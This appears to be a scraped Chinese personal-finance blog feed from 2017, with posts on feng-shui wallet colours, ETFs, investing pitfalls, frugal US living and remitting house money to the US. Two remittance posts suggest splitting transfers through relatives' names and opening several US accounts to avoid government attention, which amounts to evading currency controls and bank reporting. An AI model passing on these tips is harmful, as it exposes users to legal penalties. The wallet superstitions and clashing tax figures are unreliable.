        这个听起来有点奇怪,每个人都会的事啊?其实这也有讲究,在买好新钱包后,最好先把大额的钞票放几张进去,让钱包熟悉一下金钱的味道;让钱保持整齐干净,统一钞票在钱包内的上下方向,养成习惯;经常去把钱包里不干净的旧钞票去换成新钞;在付钱的时候一定要讲究礼貌,让纸币的正面朝向对方。

        4、什么颜色的钱包最聚财?

        常听一些人讲,我会赚钱的呀,但是总也守不住,来得快去得也快。一款风水绝佳的钱包,能让主人财源滚滚,满体金钵,而一款风水不佳的钱包,则会让其主人不知不觉中,赚的越来越少,花钱越来越多。钱包的好坏不在于有多贵,是要看它是不是可以帮您旺财。而钱包的颜色,在风水中也是非常有讲究的。

        一、最宜女性旺财的颜色——粉色,桃红(玫红),淡黄色

        对女性来说,粉色最好,因为这是恋爱之色,给钱财加粉,表示对他(钱财)爱意,财源必定〝回粉〞,也爱上你。

        桃红色或枚红色和粉色一样,可以帮您招来桃花运的同时,他(异性)还会让你财源滚滚。

        淡黄色、黄色也不错,因为金黄色同黄金、金钱,代表财气,经常投资大项目的人,一般会选择黄色钱包,期待幸运的黄色能在事业上助一臂之力。但黄色的聚财能力稍差一点。

        二、守财聚财色——黑色、咖啡色、棕色

        黑色、棕色、咖啡色钱包,是永远不会买错的钱包,男女通用。因为黑色、棕色、咖啡色意在沉稳,而且好理财,可守钱财、聚钱财。

        三、不宜碰的散财色——红色、蓝色、白色

        红色,五行属火。虽是最能招财的颜色,但同样也表示花钱爽快,钱财无积蓄,而且红色代表赤字,故红色钱包不推荐(很多内行人都避免红色钱包)。运气不好的时候,可以选用红色的钱包,它具有退财消灾,逢凶化吉的寓意。

        蓝色,五行属水,钱财会如水般流去,竹篮打水一场空,故蓝色钱包也不宜用;

        白色,很干净的颜色,如果说脸上干净是好事,那么钱包干净,就很难看了,因此白色钱包更不推荐。

        知道这些颜色代表的含义,您可以选择适合自己的钱包了吧!希望您选对钱包后,财源滚滚,能赚也能聚。


        2017-04-27 / by / in ,
        小薪青年 可藉ETF蓄金

        根据行政院劳工委员会调查,大学毕业社会新鲜人平均薪资仅新台币2.6万元;证券业者建议,理财可先由指数股票型基金(ETF),累积人生的第一桶金。


        富邦证券资深副总经理陈克和指出,ETF跟随大盘或相关指数波动,投资ETF等于投资一篮子股票,有助分散风险,且买卖流程和投资股票一样容易,又比股票少了选股问题,对社会新鲜人而言是简单易懂的入门投资工具。

        证券业者认为,一档成功的ETF需具备二大特点,第一,净值走势应该与所追踪的指数贴近,没有大幅折、溢价;第二,在公开市场流通性要足够,避免无法卖出的窘境。

        找出一档好的ETF后,只需判断趋势涨跌,在公开市场买入看好的单一市场或产业的ETF,即可轻松赚取趋势财,更不会赚了指数却赔了差价,相较于购买基金交易成本较低,投资也更具弹性。

        以国内ETF龙头台湾50为例,目前大盘在7000点至8000点间,单张买进约需约新台币5万元,每2至3个月买进1张,对理财新手进入门槛较低,等于买进了50档台股绩优股;若对海外投资有兴趣的投资人,下半年可以聚焦在生技、制药、农产等产业的ETF,不过购买海外ETF会有最低手续费限制,在购买时需要特别留意。

        陈克和建议,社会新鲜人投资ETF可以采固定金额存钱法,存到一定的金额就购入,透过定期定额分散投资风险,加上拉长投资时间而产生的复利效果,慢慢累积个人财富。

        除了透过学习理财累积自己的财富外,最重要的资产就是自己,只要肯花时间投资自己,不断的学习,培养可以创造多元收入的专长,就可以累积自己在职场上发光发亮的雄厚资本,成为一档绩优股,只要再透过适切的投资理财,就能成功地累积到人生的第一桶金。

        2017-04-25 / by / in , , ,
        热帖:父母给在美国的子女汇款买房需要注意的事项
        现在买房已经不是一个人的事情了。不少年轻的朋友们,买房时候还是需要父母的支援,毕竟高房价已经压倒了一代人。尤其是在国外,不少留学生们买房多半还是靠父母作“靠山”。


        不少移民美国或在美国留学的儿女们,在思考买房子的时候,父母总会问一句“还差多少?”父母想帮在美国的儿女买房,但是又不知道怎么把钱“运”过去。

        美国保险今天为您介绍一下,父母应该如何把买房钱给自己的子女“运”到美国去。

        给子女打钱在美国买房的优势

        如果父母送钱给子女付美国买房的头期款的话,可以让他们的首付比例达到较好的贷款条件。银行一般规定,超过25%比例的首付款,可以免除办理贷款保险,同时也有助于享受到最好的利率。但是,你还是要出示一些文件给贷款专员,以证明父母有资助到你。

        首先,贷款专员会拟定一封信,信上会注明这笔钱是父母赠与给购房者的,金额也会列出来,然后双方(父母和子女)都要在这封信上签名。

        不过,如果这笔钱提前三个月被转到了购房者的账户上,银行一般就会认为,这笔钱已经成为了您的个人资产,所以就不会再要求买房者出示这封信。当然,实际情况还要视个人的具体情况而定。

        可以说,有了父母的帮衬,子女的购房过程也变得轻松些。

        给子女在美国买房有哪些注意事项

        美国国税局(IRS)规定:每年每个父母(包括岳父、岳母、公公和婆婆)可以免交“赠与税”而赠与每个子女最多$14,000。

        比如,一对新婚夫妇要买房,双方父母共四人,每人分别赠予$14,000给这对小夫妻,$14,000乘以8,这样小夫妻最多可以收到$112,000而免交赠与税。这笔钱绝对够这对新婚夫妇付房子的头款了。这笔$112,000的赠予款,父母四人是不需要缴纳赠与税的,而接受赠款的小夫妻也不必缴纳收入所得税。

        想多给子女转钱的几种方法

        1

        年末的时候每人送$14,000,年初时每人再送$14,000,这样父母就可以赠送比原来每年免交赠与税所多出一倍的金额。

        2

        如果无法赶在年末赠送,那么在年中也是有办法多赠送的。美国国税局规定,每个美国公民或居民一生可享受到免缴赠与税的赠予额有545万美元。所以,这多出的$14,000赠与款可以就可以用这个545万来抵税。

        举个例子。如果每个父母想给每个子女$20,000美金,那就比每年的免税赠予额($14,000)多出了$6000,而这$6000就可以从543万里面扣除,所以还是免税的。所以,只要父母(必须是美国公民与居民)一生中赠送给其子女的钱款数目不超过543万美元,就不用担心缴纳赠与税的问题。

        父母需要办理一些什么手续

        现在越来越多的中国留学生选择毕业后留在美国,然后结婚、生子,到买房的时候难免需要父母帮衬。如果父母拥有美国绿卡或公民身份,那么就像上述的那样,其一生的免税赠予额是545万美元;但是,如果父母是中国国籍(且没有美国绿卡)的话,其终身的免税赠予额只有6万美元。

        不过话又说回来,就算是中国籍的父母赠送了超过这个金额,美国政府也管不到他们。但是,如果接受赠与的子女每年收到超过$100,000的来自外国人的赠与额,那么美国子女(受赠者)就必须向美国政府申报,即填一张3250表;如果不填,他们将会被罚款。

        至于有美国身份的父母,如果他们每年赠与其子女超过545万的赠予额,那么他们必须填写709表。所以说,只要是赠予行为发生了,且超过了所规定的免税的数额,就必须有至少一方要主动上报国税局。

        父母从中国汇钱去境外有管制

        中国政府规定:每个中国公民每年只能从中国汇出50,000美金去境外,包括美国。所以,如果要汇一笔较大的金额给其美国子女,则父母可以在中国多用几个亲戚的名义帮忙汇款,每人汇50,000美金。美国的子女也需要在美国多开几个账户,避免大笔资金都流入同一个账号,从而引起美国政府的关注。

        父母最好从中国的账户直接汇款到其美国子女的账户上,而不要先把钱汇到父母在美国的账户上,再进而转到其子女的账户上。

        注意

        父母还必须注意:千万不要直接送现金给您的子女,之后再让子女存入他们自己的账户。这是因为,在美国,如果有超过一万美元的现金被存入某个人账户,该个人必须详细说明该收入的来源。

        另外一个您可以采取的方法是,让您在美国的亲戚、朋友送给您的子女美金,您则可以在中国还人民币给这些亲戚、朋友。

        来源:Linda Wang

        2017-04-25 / by / in , , , ,
        投资理财这七大死穴千万不要碰
        很多时候我们干某件事情都抱着赚钱的心理,但是经历了那么多事情,发现赚钱并不是那么简单,真正赚大钱的人都一声不吭,而大肆渲染赚到钱了的人拉着你一起赚钱,到最后你不仅没赚到钱还可能花了冤枉钱。


        1.死穴一投机炒股

        股市一直都有着”7赔2平1赚“的规律,如果你想赚钱,你觉得你会很幸运的成为那10个当中唯一一个赚钱的人吗?虽然股市有风险大家都知道,但大多人却还是抱着侥幸的心理进入股市。

        炒股是可以,但是要利用闲余资金,调整好心态,不能有赌徒心理,多熟悉股市的市场游戏规则,做好资金的管理。

        2.死穴二盲目购买理财产品

        前几天就有一条新闻,老太太买各种理财产品前前后后花了70多万,都是听别人说高利润回报,结果到最后,骗子的踪迹都找不到了。

        大家买理财产品之前一定要看是否是正规的机构,风险和收益是否合理,银行理财产品不一定都是好的,买理财的人多了,预期回报率也会下降,理财收益率也会大幅度下调。

        3.死穴三买房保值

        中国人口渐渐进入老龄化状态,十年后,老龄人口将达到整个人口的25%,大量老年人可能会住进养老院,会产生大量空房。房屋则不会成为保值增值的手段,做了十几年的房奴等来的可能是房子的贬值。

        4.死穴四买黄金保值

        对于买黄金的人来说,大都是看中黄金不贬值,但是对于黄金最大的问题就是不产生利息。当我们在排队买黄金的时候,很多国际组织趁此机会抛售黄金,仔细想一想,要是黄金真能在短期内涨很多的话,他们为什么要卖掉呢?

        5.死穴五所有的钱都存银行

        在大家的印像中,银行靠谱收益稳定,但是最近几年的物价上涨,你存在银行的利息跑得过通货膨胀吗?现在中国进入负利率时代,把钱存进银行,过段时间,反而贬值了。如今将钱放在银行反而有些落伍。

        6.死穴六把买保险当投资理财

        现在市场还出现了买保险会有分红的理财产品,看上去很吸引人,但实际上这类投资保值的业务在收益方面有很大不确定性,保险本质还是对疾病的最基本保障。

        7.死穴七盲目听从他人

        现在大多数人有了理财意识之后,就会去听各种各样的投资讲座、理财讲座,其实这些都成了理财变相的发布会,无形的产品推销会,迷迷糊糊你就会购买他们的产品,等发现被骗了后悔都来不及了。

        投资应该选择合适的渠道,当你觉得你马上要挣大钱的时候可能就是你要开始被骗的时候。面对各种各样的诱惑,要学会冷静理性的分析,才能让你的财产在安全的前提下为你带来更多收益。

        宋云 来源:102like

        2017-04-25 / by / in ,
        投资有道!2017年哪三大行业最赚钱?
        投资资讯网站INVESTING.COM分析师Brian Gilmartin在周一(12月26日)发布报告称,展望明年的股市投资,有三大领域最可能赢得较高收益,这三个领域分别是能源、金融和高科技。


        能源行业在2016年第一季度和2017年上半年将会继续损失。百分比在扩大的同时,2016年第一季度和第二季度的可比基础也在缩小。而且,利润的修正将会继续走高;能源行业的营业收入预估及变化是有帮助的。2016年第四季度能源行业已经实现自2014年中旬以来的每股盈利EPS的正值和营收的增长。

        对2017年上半年来说,高科技仍是很有吸引力的。一些PE增长较高的高科技公司如FANG已起死回生。该行业在今年第三季度的收入增长是11%;而7月份所做的调查预期为2%。iPhone7原本预计销售不畅,但在新品销售的几周还是不错的。半导体公司已经火得不行了,Micron Technology上周预计2017年财政年度将翻倍。该公司预计2017年的EPS每股盈利将会达到2.37美元比之前预测的1.1美元要翻倍。

        金融业在2017年上半年将会较好,然后会褪色。2016年第四季度和2017年第一季度上涨,之后开始变慢。

        结论是,实际上这三大行业涵盖了标普500指数40%的成分股,能源和金融占比较大。明年在税务改革,放松管制和更激进的管理下,这三大行业的收入和利润都将会有较大的增长。

        来源:FX财经网

        2017-04-25 / by / in
        理财中的小禁忌 需注意
        社会经济的进步,越来越多的人开始进入到投资理财领域,理财对大众来说已不陌生。而在目前的金融市场中,各种债券、基金、股票、期货、外汇、P2P等投资理财方式也是花样百出、层出不穷。每种投资理财方式都各有各的特点,也有不少禁忌,这里需要提醒一下大家,毕竟理财是理的自己的钱,每一分都应该用心经营。


        没有结余或一味的储蓄

        先从投资理财的本金说起,没有结余也就是没有钱理财,这种情况一般多出现在年轻人身上,收入不高但消费需求旺盛,自然存不下什么钱,但还有的人收入不低,但基本谈不上结余,这时候既要考虑是不是财务收支环节出了什么问题。

        一味储蓄是他们唯一的投资理财方式,有些人认识那种抠门起来堪称葛朗台的人,存了几百万了,一块钱都舍不得花,别说投资了,生活质量都没有,只喜欢看着账户的数字,并偶尔邀请别人也参观一下。

        盲目追求高收益或只选收益低的

        很多投资人平时好像也是懂这个道理,可等到真的投资还是哪个收益高选哪个。谈到赚钱,相信大多数人都希望能够尽快致富,尽管金钱不是万能的,不过没有金钱却是万万不能的,而正是由于人们对于金钱的强烈欲望,极容易导致投资者盲目的追求“天价收益”而掉入不法分子的陷阱。要知道,高收益的投资理财必然伴随高风险,任何一项投资都不可能存在有“绝对保障”的前提。反之,还有些投资人,觉得收益高的都是有风险的,收益低就没风险,所以只买收益率低的理财。因此,在进行投资理财之前投资者应该选择适合自己的方式。

        集中投资或盲目分散

        “不把鸡蛋放在一个篮子里”这句话可以说是耳熟能详,不少投资人选择分散投资,但要知道盲目的分散投资也是不对的。

        有的投资人喊着分散投资,就把钱往自己听说的各种领域都放一点,也不管自己对这个行业是否熟悉,投资的风险大不大,还有的投资人所谓的分散投资,就是投资到不同的基金,或者投资到不同的P2P平台,这些都是不对的。其实真正的分散投资,应该是根据每个人不同的理财需求合理配置资产,权衡利弊理性投资,而不是盲目分散。

        三天打渔,两天晒网

        投资理财是一项漫长的工程,谁能坚持到最后谁就是赢家,对于那些三心二意的人来说,最终是很难积攒到财富的。所以投资者还不妨“坐下来”耐心一点,好好挑选出一项有潜力的项目进行长期投资,相信最后的收益肯定是非常可观的。

        自从有了余额宝开始,投资理财就变得亲民了起来,可供投资人选择的理财产品也越来越多。投资需求和投资市场迅速扩大,但老百姓理财知识储备和吸收速度却无法与之匹配,也正是造成现在理财骗局层出不穷,金融风险不断升级甚至成区域性扩散的重要原因之一。

        作为单个投资人,我们无法主动改变整个大的投资理财环境,但我们可以改变自己从而更好的适应它,减小的被这个暂定的大环境淘汰的概率,首先,我们应该做的就是避开那些绝对不能碰的理财小禁忌。

        来源:慢钱网

        2017-04-25 / by / in ,
        在美买房如何转钱?
        在国外购置房产的投资者们,除了房子本身,还关心的一个问题就是购房后的汇款问题,房子看好了,价格敲定了,那怎么交钱呢?


        文件要准备齐全

        在美国买房子,有两份文件是缺一不可的,有了这两份证明,卖方才会考虑您的出价。

        1、在房地产经纪人带你去看房子之前,需要提交一份银行资金证明(Proof of Funds Statement)。

        这份资金证明可以是您的银行月结对账单(Bank Statement),或银行专门为您出示的信,以证明您在此银行有足够的资金来买美国房产。

        2、如果您需要从银行贷款,还需要拿到一份从贷款银行出示的预先核准贷款的证明(Pre-approval letter)。

        这表明银行在预审了你的收入和资产后,愿意借出资金给你买房,也就是说您是该银行合格的贷款人。

        美国发生次贷危机之后,银行变得非常谨慎。银行对每一个来贷款的人都要进行严格的资格审查。所以,预先核准贷款证明是非常重要的。

        当然,如果您全部使用现金购房子,就不需要准备预先核准贷款证明。

        汇款途径必须合法

        汇款凭证包括(贷款银行要看):从国内自己账户里汇入的帮你汇款的人的账户凭证、汇款人购汇美金凭证、汇至美国银行的凭证;委托他们办理汇款的委托书。

        以后这些资料递交给银行时,可能会需英文翻译文件,银行也可以安排翻译,有的银行收费。

        如果你的大额资金在美国的账户里沉淀满3个月(日常小额花费没关系的),美国监管认为你的账户资金往来没有异常,此时你买房无需提供资金来源证明,也不需要上述人汇款时的有关凭证了。

        汇款注意事项

        1、每人每年购买及汇出的外汇额度为5万美元(自然年度计算1月1日-12月31日);

        2、境外汇款若在银行柜台办理“购汇”,填写境外汇款单。

        银行会直接用人民币换汇后以美元汇出,不需要先换汇;若在网银汇款,按照银行网银提示操作,当时购汇,网银汇出;

        3、非直系亲属之间,不能转外汇;如需亲朋好友协助办理外汇,需转人民币到其账户,以汇款人的名义直接购汇汇出。同一套房产的汇款附言保持一致,便于对方查询;

        4、如果已有美元现钞,每天只能存入5000美元到银行账户;如果账户里已有美元,每天可以汇出5万美元;

        5、每次汇款,会产生一笔手续费(电汇费+汇款手续费),各个银行收费不同,所以汇款超过5万美元时,尽量计算一下每次的汇款额度,减少总的汇款次数;

        6、境外汇款常用汇款用途包括旅游支出、教育培训支出、咨询费、律师费等。实际情况须根据国家外汇管理局及银行规定的政策执行。

        做好准备再行动

        如无特殊方法,先去一趟美国的银行开户。

        去美国买房前提早汇款,如需贷款,回国准备有关信用证明文件,才不会耽误购房大计。

        目前是国内人头汇,国外同一收款人同一账号每月收汇也不得超过三笔,即15万美元。要想快速大额汇钱,还要在美国多开两个账户。

        向国外汇款,如果不想出国,要选择国内的大银行,因为,大银行在国外的代理机构较多。

        如果汇款人在中行用票汇的方式办理汇款,取款人可以直接到中行的国外营业点办理解付手续。

        如果所在地没有汇出行的营业点,则要到汇出行指定的托付行办理,相对来讲,在托付行办理没有在直接营业点办理快捷方便。

        家人与朋友转账

        目前最常用的方法是通过数名亲属和朋友,转移购房所需资金,每位亲友以其名义获得投资人的部分投资购房资金,然后分别购买不超过5万美元的外汇,将购买的美元从其各自在中国境内的银行账户,汇入开发商的境外银行账户或投资人的境外账户。

        利用第三方汇款

        首先,投资人将购房资金转入第三方中国境内的银行账户中;然后,该第三方将同等金额的美元从其境外银行账户转入投资人境外账户或开发商境外账户。

        通过外管局许可机构办理大额换汇。

        外管局近年批准了一些金融机构,如银行和基金公司等,试点操作超过5万美元的大额换汇和投资服务,投资人通过这些基金公司设立专项投资计划,审核后,投资人将整笔大额人民币从个人账户转入基金公司,基金公司在向投资人指定的海外投资账户汇款。

        境外贷款发放

        第四种是通过由境内资产担保而获得的境外贷款。

        目前,少数指定的中国境内银行可以提供此类服务。从本质上说,此类服务并不属于货币兑换或货币转账服务,而是境外贷款服务,且贷款由投资人存放在贷款银行的境内账户提供的资产担保。

        来源:海那边

        2017-04-25 / by / in , ,
        小薪青年 可藉ETF蓄金

        根据行政院劳工委员会调查,大学毕业社会新鲜人平均薪资仅新台币2.6万元;证券业者建议,理财可先由指数股票型基金(ETF),累积人生的第一桶金。


        富邦证券资深副总经理陈克和指出,ETF跟随大盘或相关指数波动,投资ETF等于投资一篮子股票,有助分散风险,且买卖流程和投资股票一样容易,又比股票少了选股问题,对社会新鲜人而言是简单易懂的入门投资工具。

        证券业者认为,一档成功的ETF需具备二大特点,第一,净值走势应该与所追踪的指数贴近,没有大幅折、溢价;第二,在公开市场流通性要足够,避免无法卖出的窘境。

        找出一档好的ETF后,只需判断趋势涨跌,在公开市场买入看好的单一市场或产业的ETF,即可轻松赚取趋势财,更不会赚了指数却赔了差价,相较于购买基金交易成本较低,投资也更具弹性。

        以国内ETF龙头台湾50为例,目前大盘在7000点至8000点间,单张买进约需约新台币5万元,每2至3个月买进1张,对理财新手进入门槛较低,等于买进了50档台股绩优股;若对海外投资有兴趣的投资人,下半年可以聚焦在生技、制药、农产等产业的ETF,不过购买海外ETF会有最低手续费限制,在购买时需要特别留意。

        陈克和建议,社会新鲜人投资ETF可以采固定金额存钱法,存到一定的金额就购入,透过定期定额分散投资风险,加上拉长投资时间而产生的复利效果,慢慢累积个人财富。

        除了透过学习理财累积自己的财富外,最重要的资产就是自己,只要肯花时间投资自己,不断的学习,培养可以创造多元收入的专长,就可以累积自己在职场上发光发亮的雄厚资本,成为一档绩优股,只要再透过适切的投资理财,就能成功地累积到人生的第一桶金。

        2017-04-25 / by / in , , ,
        有钱人不会告诉你的秘密:皮夹要用长的还是短的好?

        你用皮夹吗?是长夹,还是短夹呢?

        感觉似乎是个人喜好问题,但如果有人告诉你钱包的长短会影响到钱滚钱的方法,你相信吗?根据理财专家表示,成功人士几乎都是使用长皮夹


        因为,从钱包可以看出〝这个人是怎么处理金钱的〞,金钱是每个人一辈子努力所得的重要东西,有句西方谚语说:〝存钱一分,就是赚钱一分〞,就是要大家慎重对待每一分钱。而成功人士一直都很了解金钱的重要性,正因如此,他们不会乱折纸钞,因此使用长皮夹,让钞票一张张安稳妥贴。

        钱包等于是钞票的家,就跟每个人喜欢住家环境轻松、舒服的道理相同,我们也应该给钞票一个良好的环境,所以不要把纸钞折得皱巴巴的,而是应该把纸钞摊平,整整齐齐收进钱包里。只要能够做到这件事,那么你对待金钱的态度应该就会逐渐好转。

        许多男性惯用短夹,或许是因为方便塞进口袋,不用拿在手上,但是有没有想过,被压在屁股下的钱包变形折弯,也太可怜了吧?也经常看到被发票与集点卡塞爆的钱包,建议最好不要这样,就跟人都不想住进堆满垃圾的房子一样,这么做只会委屈了钞票。

        钞票放进长皮夹,摆在左胸的口袋里,在距离身体最重要的心脏附近,这样可以提高你对金钱的重视度,经常整理出收据与卡片等的物品,并随时保持干净。不一定非得使用昂贵的钱包,价廉的或别人送的钱包都可以,总之爱惜钱包才是重点。

        只要能够好好爱惜钱包,就会慢慢开始珍惜金钱,浪费情况也会跟着减少。因为懂得珍惜金钱,所以在非必要的状况下,会变得愈来愈不想花钱,这是一般人的心理,因为愈是珍惜金钱,愈容易存到钱。

        来源:Vida Orange

        2017-04-24 / 1 Comment / by / in ,
        新观念!不给零用钱,反而养出富小孩!

        很多父母喜欢小额多次的给小孩零用金,藉机每周传授深奥的观念给孩子,像在传授武林密技似的。结果呢?他们的孩子只希望快点拿到零用钱,父母所说的左耳进右耳出,转眼就忘了。在读了许多相关研究以后,有一件事是肯定的:零用钱并非通往理财天才的必经道路。英国研究指出,比起打工赚钱的孩子,那些领零用钱的孩子实际上比较不懂得如何储蓄。


         


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        另外,领零用钱的孩子长大后鲜少懂得工作的价值,只要可以吃饱付钱,工作本身是否带来成就感、是否让生活更美好,对他们根本无足轻重。

        所以,停止固定给零用钱这个坏习惯吧!改试试看以下这个方法:

        当你的孩子有需要的东西,买给他;当他有想要的东西,给他任务来换取物品,例如照顾年幼的弟妹,或是浇花倒垃圾,都是不错的选项。

        别再高谈阔论如何存钱,要让孩子看见未来的衰老


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        帮助你的孩子了解储蓄有多重要,你要让他培养远见。所以试试看这个:让你们孩子想像当他们老了的时候。

        史丹佛曾做过一个有趣的实验,让学生看电脑模拟他们所绘制的一生描绘,看过之后,他们选择存下没看影像前多二倍的退休金。

        在家也可以达到这个效果-只要下载Oldify这个app,你的孩子会对发胖、秃头、好多皱纹的未来自己感到好笑、感到不可思议。但这同时也是难忘的一课。

        建立简单的经验法则:存下赚来的1/4


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        跟刷牙一样,应该从孩子二岁就开始培养他存钱的习惯。每当孩子得到一些钱,别再唠叨你的孩子把钱全存进扑满,而是建立这条存下1/4的公式。久了,孩子就会自动把1/4所得存进扑满,因为简单好记,1/4又好像没那么多,这样不论是爷爷奶奶给的零用钱,或是偶尔对中发票的钱,你的孩子都可以做到存下1/4。

        我们为人父母要做的呢,就是一再重复1/4这个数目,让孩子熟到像走回家一样自然。事实上,人们记起并使用经验法则的次数,远比使用各种流行的理财方法多。

        纽约大学针对行为经济的研究也指出,人们决策时会用最简单的方法解决问题,好让生活更美好。

        2017-04-24 / by / in ,
        聪明花钱 OL变身财女

        百货公司周年庆又到了,理财作家刘忆如提醒女性上班族别被业者满额礼的行销手法掌控,学会如何聪明花钱,〝享受花钱的快乐,也要把钱存起来〞,让自己变身〝财〞女。


        大学和研究所都读商管科系的刘忆如指出,女性理财观念向来较男性保守,通常是为了家庭和孩子才开始理财,最常使用的投资工具是定存,〝就像以前是存私房钱〞,多数女性倾向追求低风险理财方式,与男性有较明显的差异。

        随着女性教育程度和就业率提升,女性赚钱能力也提高,刘忆如笑说,〝传统‘长期饭票’的观念,在现今社会不太有保障,为了自己的将来,女性当然要会理财。〞她建议,依个人风险承受度,选择适合的投资工具,训练理财功力。

        若将女性上班族分为年轻未婚、中年已婚和即将退休3大族群,刘忆如说,年轻未婚族常有〝先花再说、快乐至上〞的错误观念,就连她自己刚出社会赚钱时,也曾刷爆信用卡。但这阶段须及早做好个人理财规画,才能避免成为〝月光族〞。当初刘忆如也是从每月薪资扣新台币6000元买基金,开启理财计画。

        刘忆如建议,年轻未婚族每月要先把母钱存下,因为想要理财必须先有财,等累积到一定额度如30万元时,再开始投资。她强调〝要存资本财,而非消费财〞,切记别急着追求高报酬的投资方式,理财最重要的是要有计画,从现阶段规划到退休后的生活。

        年轻未婚族该如何存钱?刘忆如分享2大秘诀:消费时要分清楚〝想要〞与〝需要〞,像在百货公司周年庆时,千万别为了满额礼,多买些不需要的商品,别被业者的行销手法掌控;〝买〞的时候就要想到〝卖〞,思考商品能否保值或增值,例如喜欢饰品的女生,可选择买黄金饰品,让钱花得有价值。

        女性上班族中,刘忆如最担心的是中年已婚族群,在职场已有地位、薪水收入较高,但常以家庭、先生和孩子为主,忽略关爱自己,或因保险费导致支出增加,选择牺牲自己维持孩子的保单。刘忆如感叹〝许多已婚妇女常觉得钱花在自己身上很自私,却不知照顾自己也是顾好家庭。〞

        中年已婚族应趁收入逐渐增加时,完善投资和保险的理财规画,刘忆如建议,建立家庭专用帐户,与个人帐户分开管理,至少将薪资的1/10留给自己,继续婚前的理财计画,千万别只替孩子理财,要懂得为未来的自己着想。

        至于即将退休族群,刘忆如表示,这族群常不懂如何应付高风险投资,由于储蓄与收入都已稳定,容易因诱惑贸然行事,一次投入大笔资金,反而可能血本无归。刘忆如提供简单理财公式:用100减掉年龄后,才是可购买风险较高投资产品的比率,代表年纪愈大,理财行为要愈趋保守。

        即将退休族也到了开始回收先前投资的阶段,稳健型的定存会是此阶段适合的理财工具,刘忆如特别提醒,若遇到子女向父母要钱投资时,一定要审慎评估风险高低,别因为是自己的孩子就轻易答应,〝保本〞是最高原则,更应将理财经验与子女分享。

        刘忆如强调,有没有理财,财富一比较真的有很大差异,自己从定额扣除每月薪资的投资工具开始理财,在国外工作2年,顺利存到人生第1个100万。刘忆如说,女性应〝珍惜赚到的每分钱,要让钱花得有价值、有意义〞,人人都能变成〝财〞女。

        2017-04-24 / by / in ,
        实用!9招教你成为美国生活省钱达人

        现代生活中,相信有不少华人在家庭的日常花费上会有〝省钱〞的习惯。〝省钱〞不是生活的全部,但却让生活更有〝趣味〞,幸福生活往往不是用物质来衡量的,在平淡中体会快乐,在悠然中品读幸福!想成为美国生活中的省钱达人吗?下面就一起来借鉴一下其他人的理财〝绝招〞,看看是否能助您成为持家高手?


        一:找食材自配食物 减少浪费

        饮食开销在家庭支出中通常占较高比例,选择自制会更便宜。但肉类在饮食消费中是最贵的,所以少吃甚至不吃肉可以节省很多开支。但并不是因此就不摄取蛋白质,鸡蛋、豆类都可以提供大量蛋白质,也很好买到。

        另外也可以参考饮食博客,一些饮食博客提供了上百种省钱菜单,还会一步步指导如何操作,供不擅长做饭的人参考。

        二:家庭日常消费量入为出

        美国家庭房子普遍都大,日常饮食、生活用品,都需要花钱买,一般不会白得〝购物卡〞。如果家庭需要什么,提前列好采购清单,需要就买,不需要就不买。

        三:买二手货

        很多人以为二手的东西一定又脏又旧的,其实去二手店常会找到全新的东西,有的连牌子都还没有拆;喜欢逛网店的朋友,在amazon上也能发现比较新的二手货。除了二手店外,美国人很爱星期六和星期天的早上摆Garage Sale,也可以捡到不少便宜货,只是Garage Sale的东西要碰运气,比较浪费时间。

        四:夏天冷气保持恒温华氏76-80度

        一般夏天电费总是很高,虽然会尽量选择开风扇,但还是常常热得受不了,可以把冷气调到76-80度,然后调成Auto(恒温),即使出门几个小时也不要关冷气,因为关了几小时后再重新开,冷气机要花更长时间降温,会比不关更浪费电。也可以选择吃完晚饭去图书馆或者去逛超市,即长知识,又可以发现打折商品,还可减肥。

        五:关于学习

        如果想学习英语,可以到免费的社区大学去学习,英文老师都是美国人,发音纯正,也可以在网上下载学习资料,购买CD,当然也可以到美国一流大学去学。

        六:留意商品广告信息

        一般美国一年中的价格,从感恩节、圣诞节到新年,这段时间的价格普遍便宜,一些较大的电子产品、家用电器、家具,可在这时候购买。

        在夏季的〝母亲节〞时,也会遇到打折的时候,比如电视、冰箱、漂亮的家具。

        另外每周都有一天是商品广告的发送日,有时这些广告单,还有教育、培训、购车、网购的信息。用最快的时间过目,还可以熟悉生活中的英文,〝一举两得〞!

        七:关于汽车、汽车保险及油耗

        在美国,几乎每个成人都开车出行,一般家庭至少两部车,如果想拥有好车,再想节约的话,家里就要有三部车:两部是日常生活用车,可以选则比较普通的车。这种车的保险,油耗等费用相对比较低。另外一部是夫妻共用的,比如宾士、宝马、劳斯莱斯、及其他古董车等,有重要活动出席时使用。通常这类车的保险、油耗、清洗比较贵。

        八:使用优惠券(coupon)

        美国真的是个重度使用coupon的国家,您也可以使用电子化的Coupons,比如Groupon, yelp, offer.com, restaurant.com,看看有没有优惠券。

        九:自己的房子 自己打理

        如果家里需要整理大面积的绿化、修理房子、清洁地毯,比较大的重活,偶尔请〝蓝领〞公司打理,平时的小事处理,还是买设备自己回来操作好了。因为美国〝蓝领〞人工的工资一般要比办公室的〝白领〞人员还高。

        以上美国家庭省钱〝绝招〞,对你有没有帮助呢?在理财路上只有经常积累有效的,只有找到适合自己的省钱方法,才能成为省钱达人!

        2017-04-24 / by / in , , , ,
        美国人喜欢投资什么?

        美国人会给自己买房居住,但在选择投资时更青睐的则是股票,基金或债券等理财产品,尤其是比较富有的美国人。


        正是因为美国房地产投资的这种低回报率,美国的富人们实际上更青睐股票等回报较高的投资。美国的富人们却更喜欢投资股票,这是因为股票的回报率最高,也最容易致富,当然这也和美国股票市场极其规范的现实密不可分。

        若是自己居住的话,美国富人也赞成投资买房,认定长期持有的话比租房划算,但只是自己居住而已,他们极少会去投资房地产实业。

        美国人更喜欢投资股市和基金还源于美国有着非常成熟的专业投资顾问(财务顾问)群体。投资顾问(财务顾问)是给客户理财建议的专家,依其专业领域而向客户推荐和提供投资美财金融业监管局(美国金融业监管局)和所在州依法监管并颁发的“理财顾问公司”和“专业人员”,“保险代理人”,“销售人生保险等险种”,“理财顾问推荐“行业执照,收入来自收费,提成或两者结合。

        投资顾问不仅经验丰富,而且有可靠的资源帮助,从而能更精确低分析出资产价值和项目的收益风险,从而决定是否买入或卖出,而不是靠猜测。

        据统计,美国大多数的富裕家庭都在使用专业理财顾问,美国信托(美国信托)的一项调查结果也证实了这一点,该行客户中“富有”人士(指可投资资产超过300万美元的人士)中的绝大多数都依赖专业投资顾问来投资,而富人的年龄越大,对投资顾问的依赖程度越高。

        美国人喜欢投资股票,基金和债券并不意味着他们不投资房地产,实际上只是换了一种形式而已。

